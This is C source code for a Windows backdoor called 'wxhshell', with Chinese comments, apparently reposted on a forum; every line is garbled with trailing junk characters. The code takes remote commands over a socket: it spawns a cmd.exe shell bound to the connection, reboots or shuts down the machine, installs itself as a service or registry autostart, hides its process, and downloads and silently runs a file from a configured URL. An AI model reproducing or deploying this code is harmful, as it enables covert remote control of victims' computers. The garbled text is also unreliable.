    switch(cmd[0]) { KNY<"b  
  0p2 0Rt  
  // 帮助 zNE!m:s  
  case '?': { yqejd_cd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'Dat.@j  
    break; "3\RJ?eW:S  
  } 30DpIkf  
  // 安装 ykM#EyN  
  case 'i': { '/sc `(`:0  
    if(Install()) m9L+|r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H ~ks"D1  
    else lg8~`96  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T^ sxR4F  
    break; ="A[*:h C"  
    } rA1 gH6D  
  // 卸载 vnN_csJ#^  
  case 'r': { $35Oyd3s<  
    if(Uninstall()) e. [+xOu`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aNq Vs|H  
    else RLKO0 #  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 50I6:=@\\  
    break; mceSUKI;L  
    } Ce:R p?  
  // 显示 wxhshell 所在路径 aLsGden|  
  case 'p': { Ix(4<s  
    char svExeFile[MAX_PATH]; dHp6G^Y  
    strcpy(svExeFile,"\n\r"); L1F){8[  
      strcat(svExeFile,ExeFile); s &.Z;X  
        send(wsh,svExeFile,strlen(svExeFile),0); il#rdJ1@t  
    break; e<p$Op  
    } ?0?'  
  // 重启 PN.6BJvu  
  case 'b': { qHKZ5w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VtKN{sSnu  
    if(Boot(REBOOT)) .1pEq~>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yr=r? h}  
    else { P\M+Z A ;  
    closesocket(wsh); NNfCJ|  
    ExitThread(0); nuCK7X  
    } b~Ruhi[E  
    break; Gt1Up~\s  
    } fC-^[Af)  
  // 关机 */\.-L{h  
  case 'd': { aQG#bh [  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  jPs+i  
    if(Boot(SHUTDOWN)) B@=Yj_s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<E0L&4-&  
    else { yp4G"\hN9  
    closesocket(wsh); 0GR9opZtA  
    ExitThread(0); +/X'QB$R  
    } Wp]EaYt2D  
    break; g|zK%tR_P  
    } c[YjGx  
  // 获取shell zm"\D vN)  
  case 's': { J{Ay(  
    CmdShell(wsh); 7 dzE"m  
    closesocket(wsh); \%C[l  
    ExitThread(0); yjr@v!o  
    break; m3WV<Cbz  
  } {L=[1  
  // 退出 P~ykC{nD  
  case 'x': { };j&)M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); esHiWHAC  
    CloseIt(wsh); xL BG}C  
    break; q)~qd$yMS  
    } `u}x:f !  
  // 离开  #.><A8J  
  case 'q': { 9?:S:Sq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J#kdyBmuO  
    closesocket(wsh); w* I+~o-  
    WSACleanup(); c]]F`B  
    exit(1); ZX0c_Mk=  
    break; j{^(TE  
        } s/^k;qw  
  } kmoJ`W} N  
  } Z])_E 6.  
n,F00Y R  
  // 提示信息 Chua>p!$g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); md`ToU  
} KRtu@;?  
  } 93J)9T  
ypd?mw&1}  
  return; 4yA`);r62  
} 6+5Catsn  
V!P3CNK  
// shell模块句柄 V9 VP"kD  
int CmdShell(SOCKET sock) x.yL'J\)  
{ .#@Dn(  
STARTUPINFO si; 9yh@_~rZ  
ZeroMemory(&si,sizeof(si)); V\"5<>+O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NM@An2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ) b10%n^  
PROCESS_INFORMATION ProcessInfo; <C77_t  
char cmdline[]="cmd"; Q7r,5w& cm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7j:{rCp3J  
  return 0; gp HwiFc  
} 9qDGxW '1  
Dkb&/k:)  
// 自身启动模式 2FzS_\":I  
int StartFromService(void) RV` j>1  
{ =M 5M;  
typedef struct P1wRt5  
{ H1nQ.P]_  
  DWORD ExitStatus; kKM%    
  DWORD PebBaseAddress; b..$5  
  DWORD AffinityMask; CiI: uU  
  DWORD BasePriority; e_], O_ Z  
  ULONG UniqueProcessId; .@Uz/j?>  
  ULONG InheritedFromUniqueProcessId; At(9)6n8  
}   PROCESS_BASIC_INFORMATION; [QbXj0en$  
.Qt3!ek  
PROCNTQSIP NtQueryInformationProcess; gN(hv.nQ  
<gLtX[v!CL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 05B+WJ1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m;f?}z_\$  
}qhK.e  
  HANDLE             hProcess; 5$U>M  
  PROCESS_BASIC_INFORMATION pbi; kW&Z%k  
qD*\}b]9I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l7,qWSsn K  
  if(NULL == hInst ) return 0; Zk UuniO  
uR@`T18  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qiw4'xQm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7[BL 1HI*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |nN/x<v  
wG5RN;`V  
  if (!NtQueryInformationProcess) return 0; kA!(}wRL  
K<6x4ha  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ':D&c  
  if(!hProcess) return 0; 1:zu$|%7  
g@i>R>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4D$sFR|?t  
*\KvcRMGUa  
  CloseHandle(hProcess); "GI&S%F  
WgJAr73 l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q_y,j&  
if(hProcess==NULL) return 0; DXW?;|8)O  
8$ZSF92C  
HMODULE hMod; 1lyOp   
char procName[255]; I<./(X[H:#  
unsigned long cbNeeded; ^r*%BUU9]%  
Gr$*t,ZW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n/oipiYx  
v\(m"|4(i  
  CloseHandle(hProcess); C'/M/|=Q#  
_SC  
if(strstr(procName,"services")) return 1; // 以服务启动 $H-D9+8 7  
1{x~iZa  
  return 0; // 注册表启动 ZT"|o\G^Q  
} 7. 9s.*  
ynZ[c8.  
// 主模块 ;K\N  
int StartWxhshell(LPSTR lpCmdLine) C6UMc} 9h  
{ >Y-TwD aE  
  SOCKET wsl; V/}>>4  
BOOL val=TRUE; qzt2j\v  
  int port=0; I"32[?0 (;  
  struct sockaddr_in door; 8V|jL?a~  
B9IXa;  
  if(wscfg.ws_autoins) Install(); (GEi<\16[  
(1AA;)`Kp  
port=atoi(lpCmdLine); Di<J6xu  
`JWYPsWk  
if(port<=0) port=wscfg.ws_port; ]~00=nXFM/  
Cxk$"_  
  WSADATA data; }SMJD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cbCE $  
NQ!N"C3u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E`uaE=Mdq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %Mng8r  
  door.sin_family = AF_INET; *76viqY;dE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _lPl)8k  
  door.sin_port = htons(port); ?3, 64[  
Dg>'5`&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $wYuH9(  
closesocket(wsl); )yNw2+ ~5  
return 1; >}DjHLTW\  
} ~"q,<t  
37 O#aJ,K  
  if(listen(wsl,2) == INVALID_SOCKET) { Uty(sDtu  
closesocket(wsl); q"+ q  
return 1; K>R;~ o  
} L);||]B  
  Wxhshell(wsl); ?Tc)f_a  
  WSACleanup(); o%+A<Ri  
co^P7+j  
return 0; $]%<r?MUb-  
4/2RfDp  
} 5&HT$"H :  
&AQ;ze  
// 以NT服务方式启动 9IvcKzS2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RZd4(7H=q  
{ 7"n1it[RJ8  
DWORD   status = 0; sh !~T<yy  
  DWORD   specificError = 0xfffffff; W?^8/1U  
qXB03}] G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ? gA=39[j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *]m kyAhi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uZ/7t(fy  
  serviceStatus.dwWin32ExitCode     = 0; N{^>MRK=5  
  serviceStatus.dwServiceSpecificExitCode = 0; l|vWeBs  
  serviceStatus.dwCheckPoint       = 0; PUE'Rr(Q  
  serviceStatus.dwWaitHint       = 0; )7I.N]=  
:!I)r$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JMirz~%ib  
  if (hServiceStatusHandle==0) return; pY)j0tdd  
jA-5X?!In  
status = GetLastError();  hmBnV  
  if (status!=NO_ERROR) \za5:?[xB  
{ r%y;8$/-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mo|PrLV  
    serviceStatus.dwCheckPoint       = 0; 7~kpRa@\P  
    serviceStatus.dwWaitHint       = 0; 5mna7 BCEb  
    serviceStatus.dwWin32ExitCode     = status; m0I #  
    serviceStatus.dwServiceSpecificExitCode = specificError; -B*<Q[_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XW UvP  
    return; R(2HY Z  
  } iM?I /\  
2H?I'<NoC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Bbl)3$`,  
  serviceStatus.dwCheckPoint       = 0; PTzp;.  
  serviceStatus.dwWaitHint       = 0; 'YZI>V*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vZ[ $H  
} l&6U|q`  
^_*jp[!`b$  
// 处理NT服务事件,比如:启动、停止 {DEzuU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZL-uwI!`D  
{ vh|Tb5W<  
switch(fdwControl) 5W[3_P+  
{ IqhICC1V-  
case SERVICE_CONTROL_STOP: 7 >PF~=  
  serviceStatus.dwWin32ExitCode = 0; 4f4 i1i:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O1x0[sy  
  serviceStatus.dwCheckPoint   = 0; aCU7w5  
  serviceStatus.dwWaitHint     = 0; -5V)q.Og  
  { e;A^.\SP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 zQ_xE  
  } A*7Io4e!  
  return; L.09\1?.n  
case SERVICE_CONTROL_PAUSE: W{fULl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zG-_!FIn  
  break; 8!u/   
case SERVICE_CONTROL_CONTINUE: tC2 )j7@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `a9k!3_L  
  break; [cGt  
case SERVICE_CONTROL_INTERROGATE: 5i!V}hE  
  break; _`bS[%CJ  
}; *[d~Nk%Y$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v87$NQvwQ  
} O`wYMng)  
qDby!^ryc  
// 标准应用程序主函数 G$;>ueM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v}7@CP]nV  
{ P]pmt1a  
O" % Hprx  
// 获取操作系统版本 KWFyw>*)  
OsIsNt=GetOsVer(); ftYR,!&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b@=z rhQ  
RH!SW2o<  
  // 从命令行安装 5Y(r\Dd  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'RDWU7c9]  
'R^iKNPs  
  // 下载执行文件 ]s*5[ =uc2  
if(wscfg.ws_downexe) { 3C277nx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KqN!?anPr  
  WinExec(wscfg.ws_filenam,SW_HIDE); uz*d^gr}  
} E4Y "X  
-'80>[}q/  
if(!OsIsNt) { 7<h.KZPc  
// 如果时win9x,隐藏进程并且设置为注册表启动 ixOEdQ  
HideProc(); Y.DwtfE  
StartWxhshell(lpCmdLine); +VSZhg,Np8  
} ?Wwh _TO  
else $z= 0[%L  
  if(StartFromService()) X3P&"}a  
  // 以服务方式启动 Px'R`1^  
  StartServiceCtrlDispatcher(DispatchTable); !+m@AQ:,  
else ~k9O5S{  
  // 普通方式启动 E9^(0\Z I  
  StartWxhshell(lpCmdLine); .|T2\M  
?ouV  
return 0; 'eqiYY|  
}
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只看该作者 1 发表于: 2006-10-10
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